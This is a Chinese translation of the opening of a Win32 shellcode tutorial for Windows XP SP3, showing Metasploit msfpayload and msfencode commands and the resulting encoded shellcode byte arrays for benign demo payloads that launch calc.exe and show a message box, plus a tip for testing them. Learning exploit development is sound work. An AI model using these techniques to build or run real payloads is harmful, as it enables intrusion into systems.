Question

开始之前我想先说几件事. 首先我们的写的 shellcode 基于特定的操作系统（我选择 Win XP SP3). 其次需要操作系统 dll 文件没有基地址随机化(ASLR) 才可行. 再有就是 Google+MSDN 是你最后的朋友. 最后就是写 win32 shellcode 实际上比听起来更容易，不要气馁。

我们将要写两个 payload

(1) 弹计算器

(2)MessageBox 弹消息框

首先我们需要了解这两个 API 的功能 (1)WinExec (2)MessageBoxA.

先看看用 metasploit 框架生成的 shellcode 长啥样（注意大小). 别忘了对 shellcode 编码以避免坏字符。

(1) WinExec:弹计算器

root@bt:~# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0A\x0D' -t c[*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

unsigned char buf[] = 
"\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf"
"\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93"
"\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1"
"\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3"
"\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6"
"\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc"
"\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f"
"\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c"
"\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12"
"\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40"
"\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f"
"\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78"
"\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5"
"\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92"
"\xb8\x7f";

(2) MessageBoxA:弹出一个标题是”b33f”内容是”Pop the box!”的消息框

root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R| msfencode -b 
'\x00\x0A\x0D' -t c[*] x86/shikata_ga_nai succeeded with size 287 (iteration=1)

unsigned char buf[] = 
"\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12"
"\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc"
"\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64"
"\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae"
"\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c"
"\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29"
"\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6"
"\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98"
"\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66"
"\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4"
"\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79"
"\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59"
"\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9"
"\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69"
"\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60"
"\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36"
"\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab"
"\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24"
"\x3d\xcf";

你可以试试上面的 payload 是否工作. 【译者注：用_asm{ lea eax,shellcode; jmp eax;}测试】是时候开始写我们自己的 shellcode 了。